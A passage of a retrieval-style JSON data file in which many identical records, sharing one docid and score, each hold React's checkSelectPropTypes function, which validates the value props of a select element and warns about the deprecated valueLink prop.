isArray = Array.isArray(props[propName]);\n if (props.multiple && !isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n } else if (!props.multiple && isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n }\n }\n}", "title": "" }, { "docid": "9fbf2816cf2c2f2bcc4bb90471a0b65f", "score": "0.53867215", "text": "function checkSelectPropTypes(inst, props) {\n var owner = inst._currentElement._owner;\n LinkedValueUtils.checkPropTypes('select', props, owner);\n\n if (props.valueLink !== undefined && !didWarnValueLink) {\n process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n didWarnValueLink = true;\n }\n\n for (var i = 0; i < valuePropNames.length; i++) {\n var propName = valuePropNames[i];\n if (props[propName] == null) {\n continue;\n }\n var isArray = Array.isArray(props[propName]);\n if (props.multiple && !isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n } else if (!props.multiple && isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n }\n }\n}", "title": "" }, { "docid": "9fbf2816cf2c2f2bcc4bb90471a0b65f", "score": "0.53867215", "text": "function checkSelectPropTypes(inst, props) {\n var owner = inst._currentElement._owner;\n LinkedValueUtils.checkPropTypes('select', props, owner);\n\n if (props.valueLink !== undefined && !didWarnValueLink) {\n process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n didWarnValueLink = true;\n }\n\n for (var i = 0; i < valuePropNames.length; i++) {\n var propName = valuePropNames[i];\n if (props[propName] == null) {\n continue;\n }\n var isArray = Array.isArray(props[propName]);\n if (props.multiple && !isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n } else if (!props.multiple && isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n }\n }\n}", "title": "" }, { "docid": "9fbf2816cf2c2f2bcc4bb90471a0b65f", "score": "0.53867215", "text": "function checkSelectPropTypes(inst, props) {\n var owner = inst._currentElement._owner;\n LinkedValueUtils.checkPropTypes('select', props, owner);\n\n if (props.valueLink !== undefined && !didWarnValueLink) {\n process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n didWarnValueLink = true;\n }\n\n for (var i = 0; i < valuePropNames.length; i++) {\n var propName = valuePropNames[i];\n if (props[propName] == null) {\n continue;\n }\n var isArray = Array.isArray(props[propName]);\n if (props.multiple && !isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n } else if (!props.multiple && isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n }\n }\n}", "title": "" }, { "docid": "9fbf2816cf2c2f2bcc4bb90471a0b65f", "score": "0.53867215", "text": "function checkSelectPropTypes(inst, props) {\n var owner = inst._currentElement._owner;\n LinkedValueUtils.checkPropTypes('select', props, owner);\n\n if (props.valueLink !== undefined && !didWarnValueLink) {\n process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n didWarnValueLink = true;\n }\n\n for (var i = 0; i < valuePropNames.length; i++) {\n var propName = valuePropNames[i];\n if (props[propName] == null) {\n continue;\n }\n var isArray = Array.isArray(props[propName]);\n if (props.multiple && !isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n } else if (!props.multiple && isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n }\n }\n}", "title": "" }, { "docid": "9fbf2816cf2c2f2bcc4bb90471a0b65f", "score": "0.53867215", "text": "function checkSelectPropTypes(inst, props) {\n var owner = inst._currentElement._owner;\n LinkedValueUtils.checkPropTypes('select', props, owner);\n\n if (props.valueLink !== undefined && !didWarnValueLink) {\n process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n didWarnValueLink = true;\n }\n\n for (var i = 0; i < valuePropNames.length; i++) {\n var propName = valuePropNames[i];\n if (props[propName] == null) {\n continue;\n }\n var isArray = Array.isArray(props[propName]);\n if (props.multiple && !isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n } else if (!props.multiple && isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n }\n }\n}", "title": "" }, { "docid": "9fbf2816cf2c2f2bcc4bb90471a0b65f", "score": "0.53867215", "text": "function checkSelectPropTypes(inst, props) {\n var owner = inst._currentElement._owner;\n LinkedValueUtils.checkPropTypes('select', props, owner);\n\n if (props.valueLink !== undefined && !didWarnValueLink) {\n process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n didWarnValueLink = true;\n }\n\n for (var i = 0; i < valuePropNames.length; i++) {\n var propName = valuePropNames[i];\n if (props[propName] == null) {\n continue;\n }\n var isArray = Array.isArray(props[propName]);\n if (props.multiple && !isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n } else if (!props.multiple && isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n }\n }\n}", "title": "" }, { "docid": "9fbf2816cf2c2f2bcc4bb90471a0b65f", "score": "0.53867215", "text": "function checkSelectPropTypes(inst, props) {\n var owner = inst._currentElement._owner;\n LinkedValueUtils.checkPropTypes('select', props, owner);\n\n if (props.valueLink !== undefined && !didWarnValueLink) {\n process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n didWarnValueLink = true;\n }\n\n for (var i = 0; i < valuePropNames.length; i++) {\n var propName = valuePropNames[i];\n if (props[propName] == null) {\n continue;\n }\n var isArray = Array.isArray(props[propName]);\n if (props.multiple && !isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n } else if (!props.multiple && isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n }\n }\n}", "title": "" }, { "docid": "9fbf2816cf2c2f2bcc4bb90471a0b65f", "score": "0.53867215", "text": "function checkSelectPropTypes(inst, props) {\n var owner = inst._currentElement._owner;\n LinkedValueUtils.checkPropTypes('select', props, owner);\n\n if (props.valueLink !== undefined && !didWarnValueLink) {\n process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n didWarnValueLink = true;\n }\n\n for (var i = 0; i < valuePropNames.length; i++) {\n var propName = valuePropNames[i];\n if (props[propName] == null) {\n continue;\n }\n var isArray = Array.isArray(props[propName]);\n if (props.multiple && !isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n } else if (!props.multiple && isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n }\n }\n}", "title": "" }, { "docid": "9fbf2816cf2c2f2bcc4bb90471a0b65f", "score": "0.53867215", "text": "function checkSelectPropTypes(inst, props) {\n var owner = inst._currentElement._owner;\n LinkedValueUtils.checkPropTypes('select', props, owner);\n\n if (props.valueLink !== undefined && !didWarnValueLink) {\n process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n didWarnValueLink = true;\n }\n\n for (var i = 0; i < valuePropNames.length; i++) {\n var propName = valuePropNames[i];\n if (props[propName] == null) {\n continue;\n }\n var isArray = Array.isArray(props[propName]);\n if (props.multiple && !isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n } else if (!props.multiple && isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n }\n }\n}", "title": "" }, { "docid": "9fbf2816cf2c2f2bcc4bb90471a0b65f", "score": "0.53867215", "text": "function checkSelectPropTypes(inst, props) {\n var owner = inst._currentElement._owner;\n LinkedValueUtils.checkPropTypes('select', props, owner);\n\n if (props.valueLink !== undefined && !didWarnValueLink) {\n process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n didWarnValueLink = true;\n }\n\n for (var i = 0; i < valuePropNames.length; i++) {\n var propName = valuePropNames[i];\n if (props[propName] == null) {\n continue;\n }\n var isArray = Array.isArray(props[propName]);\n if (props.multiple && !isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n } else if (!props.multiple && isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n }\n }\n}", "title": "" }, { "docid": "9fbf2816cf2c2f2bcc4bb90471a0b65f", "score": "0.53867215", "text": "function checkSelectPropTypes(inst, props) {\n var owner = inst._currentElement._owner;\n LinkedValueUtils.checkPropTypes('select', props, owner);\n\n if (props.valueLink !== undefined && !didWarnValueLink) {\n process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n didWarnValueLink = true;\n }\n\n for (var i = 0; i < valuePropNames.length; i++) {\n var propName = valuePropNames[i];\n if (props[propName] == null) {\n continue;\n }\n var isArray = Array.isArray(props[propName]);\n if (props.multiple && !isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n } else if (!props.multiple && isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n }\n }\n}", "title": "" }, { "docid": "9fbf2816cf2c2f2bcc4bb90471a0b65f", "score": "0.53867215", "text": "function checkSelectPropTypes(inst, props) {\n var owner = inst._currentElement._owner;\n LinkedValueUtils.checkPropTypes('select', props, owner);\n\n if (props.valueLink !== undefined && !didWarnValueLink) {\n process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n didWarnValueLink = true;\n }\n\n for (var i = 0; i < valuePropNames.length; i++) {\n var propName = valuePropNames[i];\n if (props[propName] == null) {\n continue;\n }\n var isArray = Array.isArray(props[propName]);\n if (props.multiple && !isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n } else if (!props.multiple && isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n }\n }\n}", "title": "" }, { "docid": "9fbf2816cf2c2f2bcc4bb90471a0b65f", "score": "0.53867215", "text": "function checkSelectPropTypes(inst, props) {\n var owner = inst._currentElement._owner;\n LinkedValueUtils.checkPropTypes('select', props, owner);\n\n if (props.valueLink !== undefined && !didWarnValueLink) {\n process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n didWarnValueLink = true;\n }\n\n for (var i = 0; i < valuePropNames.length; i++) {\n var propName = valuePropNames[i];\n if (props[propName] == null) {\n continue;\n }\n var isArray = Array.isArray(props[propName]);\n if (props.multiple && !isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n } else if (!props.multiple && isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n }\n }\n}", "title": "" }, { "docid": "9fbf2816cf2c2f2bcc4bb90471a0b65f", "score": "0.53867215", "text": "function checkSelectPropTypes(inst, props) {\n var owner = inst._currentElement._owner;\n LinkedValueUtils.checkPropTypes('select', props, owner);\n\n if (props.valueLink !== undefined && !didWarnValueLink) {\n process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n didWarnValueLink = true;\n }\n\n for (var i = 0; i < valuePropNames.length; i++) {\n var propName = valuePropNames[i];\n if (props[propName] == null) {\n continue;\n }\n var isArray = Array.isArray(props[propName]);\n if (props.multiple && !isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n } else if (!props.multiple && isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n }\n }\n}", "title": "" }, { "docid": "9fbf2816cf2c2f2bcc4bb90471a0b65f", "score": "0.53867215", "text": "function checkSelectPropTypes(inst, props) {\n var owner = inst._currentElement._owner;\n LinkedValueUtils.checkPropTypes('select', props, owner);\n\n if (props.valueLink !== undefined && !didWarnValueLink) {\n process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n didWarnValueLink = true;\n }\n\n for (var i = 0; i < valuePropNames.length; i++) {\n var propName = valuePropNames[i];\n if (props[propName] == null) {\n continue;\n }\n var isArray = Array.isArray(props[propName]);\n if (props.multiple && !isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n } else if (!props.multiple && isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n }\n }\n}", "title": "" }, { "docid": "9fbf2816cf2c2f2bcc4bb90471a0b65f", "score": "0.53867215", "text": "function checkSelectPropTypes(inst, props) {\n var owner = inst._currentElement._owner;\n LinkedValueUtils.checkPropTypes('select', props, owner);\n\n if (props.valueLink !== undefined && !didWarnValueLink) {\n process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n didWarnValueLink = true;\n }\n\n for (var i = 0; i < valuePropNames.length; i++) {\n var propName = valuePropNames[i];\n if (props[propName] == null) {\n continue;\n }\n var isArray = Array.isArray(props[propName]);\n if (props.multiple && !isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n } else if (!props.multiple && isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n }\n }\n}", "title": "" }, { "docid": "9fbf2816cf2c2f2bcc4bb90471a0b65f", "score": "0.53867215", "text": "function checkSelectPropTypes(inst, props) {\n var owner = inst._currentElement._owner;\n LinkedValueUtils.checkPropTypes('select', props, owner);\n\n if (props.valueLink !== undefined && !didWarnValueLink) {\n process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n didWarnValueLink = true;\n }\n\n for (var i = 0; i < valuePropNames.length; i++) {\n var propName = valuePropNames[i];\n if (props[propName] == null) {\n continue;\n }\n var isArray = Array.isArray(props[propName]);\n if (props.multiple && !isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n } else if (!props.multiple && isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n }\n }\n}", "title": "" }, { "docid": "9fbf2816cf2c2f2bcc4bb90471a0b65f", "score": "0.53867215", "text": "function checkSelectPropTypes(inst, props) {\n var owner = inst._currentElement._owner;\n LinkedValueUtils.checkPropTypes('select', props, owner);\n\n if (props.valueLink !== undefined && !didWarnValueLink) {\n process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n didWarnValueLink = true;\n }\n\n for (var i = 0; i < valuePropNames.length; i++) {\n var propName = valuePropNames[i];\n if (props[propName] == null) {\n continue;\n }\n var isArray = Array.isArray(props[propName]);\n if (props.multiple && !isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n } else if (!props.multiple && isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n }\n }\n}", "title": "" }, { "docid": "9fbf2816cf2c2f2bcc4bb90471a0b65f", "score": "0.53867215", "text": "function checkSelectPropTypes(inst, props) {\n var owner = inst._currentElement._owner;\n LinkedValueUtils.checkPropTypes('select', props, owner);\n\n if (props.valueLink !== undefined && !didWarnValueLink) {\n process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n didWarnValueLink = true;\n }\n\n for (var i = 0; i < valuePropNames.length; i++) {\n var propName = valuePropNames[i];\n if (props[propName] == null) {\n continue;\n }\n var isArray = Array.isArray(props[propName]);\n if (props.multiple && !isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n } else if (!props.multiple && isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n }\n }\n}", "title": "" }, { "docid": "9fbf2816cf2c2f2bcc4bb90471a0b65f", "score": "0.53867215", "text": "function checkSelectPropTypes(inst, props) {\n var owner = inst._currentElement._owner;\n LinkedValueUtils.checkPropTypes('select', props, owner);\n\n if (props.valueLink !== undefined && !didWarnValueLink) {\n process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n didWarnValueLink = true;\n }\n\n for (var i = 0; i < valuePropNames.length; i++) {\n var propName = valuePropNames[i];\n if (props[propName] == null) {\n continue;\n }\n var isArray = Array.isArray(props[propName]);\n if (props.multiple && !isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n } else if (!props.multiple && isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n }\n }\n}", "title": "" }, { "docid": "9fbf2816cf2c2f2bcc4bb90471a0b65f", "score": "0.53867215", "text": "function checkSelectPropTypes(inst, props) {\n var owner = inst._currentElement._owner;\n LinkedValueUtils.checkPropTypes('select', props, owner);\n\n if (props.valueLink !== undefined && !didWarnValueLink) {\n process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n didWarnValueLink = true;\n }\n\n for (var i = 0; i < valuePropNames.length; i++) {\n var propName = valuePropNames[i];\n if (props[propName] == null) {\n continue;\n }\n var isArray = Array.isArray(props[propName]);\n if (props.multiple && !isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n } else if (!props.multiple && isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n }\n }\n}", "title": "" }, { "docid": "9fbf2816cf2c2f2bcc4bb90471a0b65f", "score": "0.53867215", "text": "function checkSelectPropTypes(inst, props) {\n var owner = inst._currentElement._owner;\n LinkedValueUtils.checkPropTypes('select', props, owner);\n\n if (props.valueLink !== undefined && !didWarnValueLink) {\n process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n didWarnValueLink = true;\n }\n\n for (var i = 0; i < valuePropNames.length; i++) {\n var propName = valuePropNames[i];\n if (props[propName] == null) {\n continue;\n }\n var isArray = Array.isArray(props[propName]);\n if (props.multiple && !isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n } else if (!props.multiple && isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n }\n }\n}", "title": "" }, { "docid": "9fbf2816cf2c2f2bcc4bb90471a0b65f", "score": "0.53867215", "text": "function checkSelectPropTypes(inst, props) {\n var owner = inst._currentElement._owner;\n LinkedValueUtils.checkPropTypes('select', props, owner);\n\n if (props.valueLink !== undefined && !didWarnValueLink) {\n process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n didWarnValueLink = true;\n }\n\n for (var i = 0; i < valuePropNames.length; i++) {\n var propName = valuePropNames[i];\n if (props[propName] == null) {\n continue;\n }\n var isArray = Array.isArray(props[propName]);\n if (props.multiple && !isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n } else if (!props.multiple && isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n }\n }\n}", "title": "" }, { "docid": "9fbf2816cf2c2f2bcc4bb90471a0b65f", "score": "0.53867215", "text": "function checkSelectPropTypes(inst, props) {\n var owner = inst._currentElement._owner;\n LinkedValueUtils.checkPropTypes('select', props, owner);\n\n if (props.valueLink !== undefined && !didWarnValueLink) {\n process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n didWarnValueLink = true;\n }\n\n for (var i = 0; i < valuePropNames.length; i++) {\n var propName = valuePropNames[i];\n if (props[propName] == null) {\n continue;\n }\n var isArray = Array.isArray(props[propName]);\n if (props.multiple && !isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n } else if (!props.multiple && isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n }\n }\n}", "title": "" }, { "docid": "9fbf2816cf2c2f2bcc4bb90471a0b65f", "score": "0.53867215", "text": "function checkSelectPropTypes(inst, props) {\n var owner = inst._currentElement._owner;\n LinkedValueUtils.checkPropTypes('select', props, owner);\n\n if (props.valueLink !== undefined && !didWarnValueLink) {\n process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n didWarnValueLink = true;\n }\n\n for (var i = 0; i < valuePropNames.length; i++) {\n var propName = valuePropNames[i];\n if (props[propName] == null) {\n continue;\n }\n var isArray = Array.isArray(props[propName]);\n if (props.multiple && !isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n } else if (!props.multiple && isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n }\n }\n}", "title": "" }, { "docid": "9fbf2816cf2c2f2bcc4bb90471a0b65f", "score": "0.53867215", "text": "function checkSelectPropTypes(inst, props) {\n var owner = inst._currentElement._owner;\n LinkedValueUtils.checkPropTypes('select', props, owner);\n\n if (props.valueLink !== undefined && !didWarnValueLink) {\n process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n didWarnValueLink = true;\n }\n\n for (var i = 0; i < valuePropNames.length; i++) {\n var propName = valuePropNames[i];\n if (props[propName] == null) {\n continue;\n }\n var isArray = Array.isArray(props[propName]);\n if (props.multiple && !isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n } else if (!props.multiple && isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n }\n }\n}", "title": "" }, { "docid": "9fbf2816cf2c2f2bcc4bb90471a0b65f", "score": "0.53867215", "text": "function checkSelectPropTypes(inst, props) {\n var owner = inst._currentElement._owner;\n LinkedValueUtils.checkPropTypes('select', props, owner);\n\n if (props.valueLink !== undefined && !didWarnValueLink) {\n process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n didWarnValueLink = true;\n }\n\n for (var i = 0; i < valuePropNames.length; i++) {\n var propName = valuePropNames[i];\n if (props[propName] == null) {\n continue;\n }\n var isArray = Array.isArray(props[propName]);\n if (props.multiple && !isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n } else if (!props.multiple && isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n }\n }\n}", "title": "" }, { "docid": "9fbf2816cf2c2f2bcc4bb90471a0b65f", "score": "0.53867215", "text": "function checkSelectPropTypes(inst, props) {\n var owner = inst._currentElement._owner;\n LinkedValueUtils.checkPropTypes('select', props, owner);\n\n if (props.valueLink !== undefined && !didWarnValueLink) {\n process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n didWarnValueLink = true;\n }\n\n for (var i = 0; i < valuePropNames.length; i++) {\n var propName = valuePropNames[i];\n if (props[propName] == null) {\n continue;\n }\n var isArray = Array.isArray(props[propName]);\n if (props.multiple && !isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, 